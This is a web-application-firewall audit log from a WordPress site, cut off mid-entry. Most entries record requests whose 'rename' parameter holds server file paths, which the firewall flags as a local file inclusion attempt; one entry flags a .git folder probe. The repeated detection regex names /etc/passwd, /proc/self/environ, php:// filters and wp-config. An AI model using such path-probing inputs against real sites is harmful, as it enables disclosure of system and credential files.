{"transaction":{"time":"13/Mar/2026:07:32:15.531724 +0100","transaction_id":"abOvb4VUYFiiXhJv30mIcAAAAtQ","remote_address":"57.141.20.53","remote_port":58620,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-mail-smtp/wp-mail-smtp.3.4.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.53","X-Forwarded-Proto":"https","X-Request-Id":"2390a0e77772112b5930ebf8fb7c4064","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11895810"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"2390a0e77772112b5930ebf8fb7c4064","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-mail-smtp/wp-mail-smtp.3.4.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":391,"p2":6401,"p3":0,"p4":0,"p5":354,"sr":204,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:32:17.430753 +0100","transaction_id":"abOvcYVUYFiiXhJv30mIdAAAAsk","remote_address":"57.141.20.33","remote_port":33036,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/advanced-custom-fields/advanced-custom-fields.6.7.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.33","X-Forwarded-Proto":"https","X-Request-Id":"72a9f6d7c87acd9e9c6d58923177f812","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9177119"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"72a9f6d7c87acd9e9c6d58923177f812","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/advanced-custom-fields/advanced-custom-fields.6.7.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":253,"p2":5275,"p3":0,"p4":0,"p5":372,"sr":161,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:32:22.321769 +0100","transaction_id":"abOvdoVUYFiiXhJv30mIfAAAAsc","remote_address":"57.141.20.27","remote_port":58664,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wp-2fa/wp-2fa.3.0.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"f4405e5fa829b042a6f733a06c33ad5e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5870305"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f4405e5fa829b042a6f733a06c33ad5e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wp-2fa/wp-2fa.3.0.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":186,"p2":3522,"p3":0,"p4":0,"p5":328,"sr":92,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:34:25.584975 +0100","transaction_id":"abOv8b_XFT3UbapV64mKqgAABAY","remote_address":"57.141.20.6","remote_port":53050,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/themes/blossom-chic/blossom-chic.1.1.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"df70e9934f60b4f70348236ff6fd135a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4690856"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"df70e9934f60b4f70348236ff6fd135a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/themes/blossom-chic/blossom-chic.1.1.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":255,"p2":7028,"p3":0,"p4":0,"p5":218,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:34:56.935703 +0100","transaction_id":"abOwEMJuHGAsZ_bVQvkGJAAAA0g","remote_address":"57.141.20.49","remote_port":52742,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/opt/php8.4/include/php/Zend/zend_closures_arginfo.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"5e9a49f038ee8fd0308aa795f80dd0d0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10061525"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5e9a49f038ee8fd0308aa795f80dd0d0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.4/include/php/Zend/zend_closures_arginfo.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3742,"p3":0,"p4":0,"p5":222,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:41:25.958581 +0100","transaction_id":"abOxlVlrCM1mgECVnsPfDQAAA44","remote_address":"57.141.20.26","remote_port":56982,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/6d/e0307479ebb737cd629a309654e2a02ec8b098 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"8e648c828b3082c8c727a92633fc70ac","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"298802"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8e648c828b3082c8c727a92633fc70ac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/6d/e0307479ebb737cd629a309654e2a02ec8b098||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":290,"p2":5636,"p3":0,"p4":0,"p5":245,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:42:38.719909 +0100","transaction_id":"abOx3vvasc2LTOMQTj9yLAAAApQ","remote_address":"114.119.142.37","remote_port":46612,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/182768451 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.142.37","X-Forwarded-Proto":"http","X-Request-Id":"0b36bc994af45e94820bc98b48818955","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3378232","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"0b36bc994af45e94820bc98b48818955","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":166,"p2":2840,"p3":0,"p4":0,"p5":244,"sr":95,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:44:08.310286 +0100","transaction_id":"abOyN7_XFT3UbapV64mNDwAABBM","remote_address":"57.141.20.3","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/press-permit-core/press-permit-core.4.5.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"9d8920c88623f444be12e336ad009d7d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11830743"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9d8920c88623f444be12e336ad009d7d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/press-permit-core/press-permit-core.4.5.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":6409,"p3":0,"p4":0,"p5":399,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:44:47.750445 +0100","transaction_id":"abOyX7_XFT3UbapV64mNIwAABBM","remote_address":"114.119.154.67","remote_port":41246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/153302251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"7f30c90f73f0eb84970a3bbdfdbbc662","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11862851","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"7f30c90f73f0eb84970a3bbdfdbbc662","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":245,"p2":4465,"p3":0,"p4":0,"p5":326,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:47:09.385929 +0100","transaction_id":"abOy7IVUYFiiXhJv30mMvwAAAsI","remote_address":"57.141.20.18","remote_port":51318,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/es/LC_MESSAGES/gprof.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"510e90f58c31bc31b764c627d9cd31e3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8948147"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"510e90f58c31bc31b764c627d9cd31e3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/es/LC_MESSAGES/gprof.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":286,"p2":5873,"p3":0,"p4":0,"p5":269,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:48:15.814072 +0100","transaction_id":"abOzL7F5yQKviNRUY1bLRwAAA8A","remote_address":"57.141.20.36","remote_port":45892,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/tty37 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"824ffd2208f9d0653d039f0d1d4c05f5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9470649"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"824ffd2208f9d0653d039f0d1d4c05f5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/tty37||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":338,"p2":6431,"p3":0,"p4":0,"p5":377,"sr":179,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:48:31.382938 +0100","transaction_id":"abOzP7_XFT3UbapV64mONAAABAs","remote_address":"57.141.20.36","remote_port":38690,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/seo-by-rank-math/seo-by-rank-math.1.0.240.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"be2ad72177bfab344d5a2fa22010a7ef","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6984088"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"be2ad72177bfab344d5a2fa22010a7ef","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/seo-by-rank-math/seo-by-rank-math.1.0.240.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":276,"p2":5507,"p3":0,"p4":0,"p5":315,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 